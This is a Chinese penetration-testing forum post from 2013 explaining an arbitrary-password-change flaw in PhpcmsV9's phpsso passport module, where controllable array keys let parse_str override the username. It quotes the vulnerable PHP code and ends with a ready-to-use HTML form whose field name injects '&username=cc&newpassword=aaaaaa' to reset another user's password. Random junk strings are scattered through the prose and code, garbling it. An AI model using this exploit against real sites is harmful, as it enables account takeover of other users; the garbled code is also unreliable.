中国网络渗透测试联盟

标题: PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发 [打印本页]

作者: admin    时间: 2013-2-23 14:46
标题: PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发
提到的通行证的代码:$ V* D2 O0 u0 c( r9 [# [
7 f: q* A9 r3 f; H

3 _. e# K" i2 `8 B/ Pparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);. G" }8 _  m" t5 Z9 K/ e" u) O  p
4 B: s! a" m3 H$ }
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。4 Y4 h- l0 @2 X- b2 w
$ J- ?8 A' [$ Z4 l3 r8 P7 h) s
我把它留给了你们。4 j0 n4 n) [" n' s2 K0 v: w
不知道你们发现了它没有。
8 L% K, X" p5 P/ v/ q% K& J  m+ K
5 o7 y7 F) j" U! i* F我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
+ f& v% y! q, K+ l
$ _* d( H! z, G3 k" \! W7 E! N所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
1 [7 o. l# q/ P% G( l; T" n+ V
% f2 K' Q& E" O& r也就是
5 ~9 `/ X4 e+ p) r* [3 n% a. t3 o) e% ?$ n" S
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
  @/ W/ F! d/ P  X0 e+ ?% Q1 r7 ~' s/ b' e" B
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
+ a# s6 {& x' |) p4 o5 P- k
7 z) Q7 B7 p  o3 y. E7 I: O  M9 b) i! r7 k. Q# T; H* f
其实我们有这样的机会,看看代码,如下:) }% u8 M" U% k' ~1 n- Y

6 ~* p( a5 t( b$ t& e8 o, |8 Z
5 q' W* i- `4 W1 t1 apublic function auth_data($data) {
5 b+ J2 C) x5 t( Y& y  w                $s = $sep = '';
( l" I9 T: X1 F5 f" B+ c$ S                foreach($data as $k => $v) {- n& p% I  Z: s5 |
                        if(is_array($v)) {
: j! S( i# A+ p$ R) `                                $s2 = $sep2 = '';8 u$ A) a4 R' E8 ?6 M6 N4 N/ r
                                foreach($v as $k2 => $v2) {
5 F  j0 D" A1 g# Y1 A, k1 C: J                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);" O, w/ B. [, I
                                        $sep2 = '&';
; m, A, w9 l  j. F" p                                }
  |! M# Z5 P0 m& O/ l9 B/ L                                $s .= $sep.$s2;
7 y5 f2 B: A6 S3 b. b3 W                        } else {
! {" m6 d# H2 l/ A- a; K                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
" f" S# k2 M4 _  U- k                        }( T9 a) b; y6 r' C
                        $sep = '&';2 g& k/ k& I3 t" Y
                }/ _! _; c0 h$ r$ v
7 F! g2 K% u- u- V0 [
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));% P! `! f- F3 b; O
                return $auth_s;
7 o  J& ^, |8 M& e        }2 I- _. ]( {- l6 A
" x# F- l# }6 z3 @4 O. |/ d
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
4 @" h4 z3 K6 i2 q; }1 }+ B  p: e1 l5 b. Y! r
举个例子0 q& F8 u/ F* C' X
+ i, t8 ^; V* S, l; e* m' J
$a[aaa=a&bbb] = 'a';
: A4 ?8 S# A8 P1 C0 @' \4 G! i: Y/ Q: z$ T/ r" h
会变成aaa=a&bbb=a
( P- L8 `$ {# P: X
. p, T& x1 q1 C7 W6 u; g8 u: N& S明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
7 |3 b. u6 x9 x+ u3 M% I5 q
2 Y4 F! m3 f" f) v0 U- S( T' M" `这个时候,我们可以再去看一个函数。
7 v- A5 f0 W$ H! s) H# L2 v3 b  Y: f; ?  U* E( b
就在这个文件内:
- N' ?* V; x# t) C4 Q& p8 ?  K6 P' K3 k* }$ B, }6 k
' j+ F4 n* |: q: H4 `. T
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {0 S( K9 i# [1 r
                if($email && !$this->_is_email($email)) {
$ c9 }, T; d. S* F2 `2 o                        return -4;3 M6 c4 W; K# R, I* Z) m9 K
                }' m" t5 O1 V' L
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));! o, Z4 ]& P4 T4 {5 |/ v# G9 e' |
        }
2 z+ t+ x. }9 \* d: z7 T& Z
& H  T. O3 ~7 W! t$ t0 J; o这是向通行证发了这样一个请求。
6 o1 {$ S2 Y0 h1 W2 e8 B. k
# }8 k5 @  e% m3 [+ f; T# L' i我们再跟到通信证代码里去看看,就会有所发现。0 z3 N3 g: b1 ?
( z* h6 [; G  E6 Z1 Q6 ]7 T) R2 p
7 [( y! h8 y0 N5 M4 ^
public function edit() {
4 T; `1 \$ I' m% I' }4 j; Y//能省就省,太长了不是吗?
; s* K& G$ M# h! R; v8 @) G+ [3 m1 |# q
if($this->username) {
$ P% H9 Y) U5 i$ B2 W! ~$ e//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。" g5 m9 A: h/ }7 j
                                $res = $this->db->update($data, array('username'=>$this->username));
+ K! p7 G# y$ y% g8 E% N                        } else {
- |9 {2 [% I, P& O& d& ^: j                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
8 _1 O2 ^; H% |) p                                $res = $this->db->update($data, array('uid'=>$this->uid));
1 M5 v+ {8 H2 ]; t/ J) R                        }
  N6 L9 H8 U% ^& }* v! Y* _4 s: ?) y% q9 B: q5 S5 J
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
5 I( v* S, W& B! }' {9 G
- A, W( {. y. Z9 r% l; opublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')0 j- x& k& Y6 ~" V
' l3 C) |4 x& R& d0 s
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
: d" w  e' u3 @) \- P4 S# L6 \. z9 ?/ ^' q% R) \% Y
我当然找到了:
4 s6 m+ m8 @7 D2 v# y* n) tphpcms9/phpcms/modules/member/index.php2 e( T+ v' \" P9 q' e

" d" n+ u" d, m- @) |$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);0 K& S& a3 _: H+ S

* r% P6 l: S. ?. d: `- j8 j5 l+ g5 }然后就没有然后了。
" M/ C3 b8 x! c0 P# J( q
6 I! c: j6 ]1 B( P" q  b0 J<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
9 ^& {# I- V8 @; u/ d- m. L' B& ?                                <table width="100%" cellspacing="0" class="table_form">3 s$ O2 C0 U4 |* m+ a
                                        <tr># h- Q8 U- w& @4 C8 q  |. d
                                                <th width="80">邮箱:</th>        
) S) Y; \& b$ r) q; {$ i                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
) Q. K; U+ G$ O                                        </tr>; _/ _/ {3 c  F+ |0 I
                                        <tr># @- e- N. o% M2 j2 J5 E
                                                <th width="80">原密码:</th>        
  ]+ b& M2 [  {3 j                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
5 k: V5 L. H7 f' M* P                                        </tr>! v# b1 g$ q9 F3 \/ {3 J
                                        <tr>+ g* `2 V, P0 n% s; Z* k* A
                                                <th>新密码:</th>
& k8 A& s# V( U( {4 c( M& ]                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
( D. q0 ~) ]- i' {& j8 j0 E) V  }: u                                        </tr>
5 l' s6 O  Z' J6 _3 Z  h8 f- r& Y                                        <th></th>
3 C0 I% s; x/ a+ w7 r4 \+ \, G                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>+ J' e8 c4 q% a) O2 q+ c
                                        </tr>  ?0 E6 z- l7 A
                                </table>: E/ u# G' X6 c# L% M3 x3 K
0 z3 v$ @( E7 k8 P* u
                                6 k& r0 e# `7 F
                        </form>& N$ e  g7 S; n* E  W





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2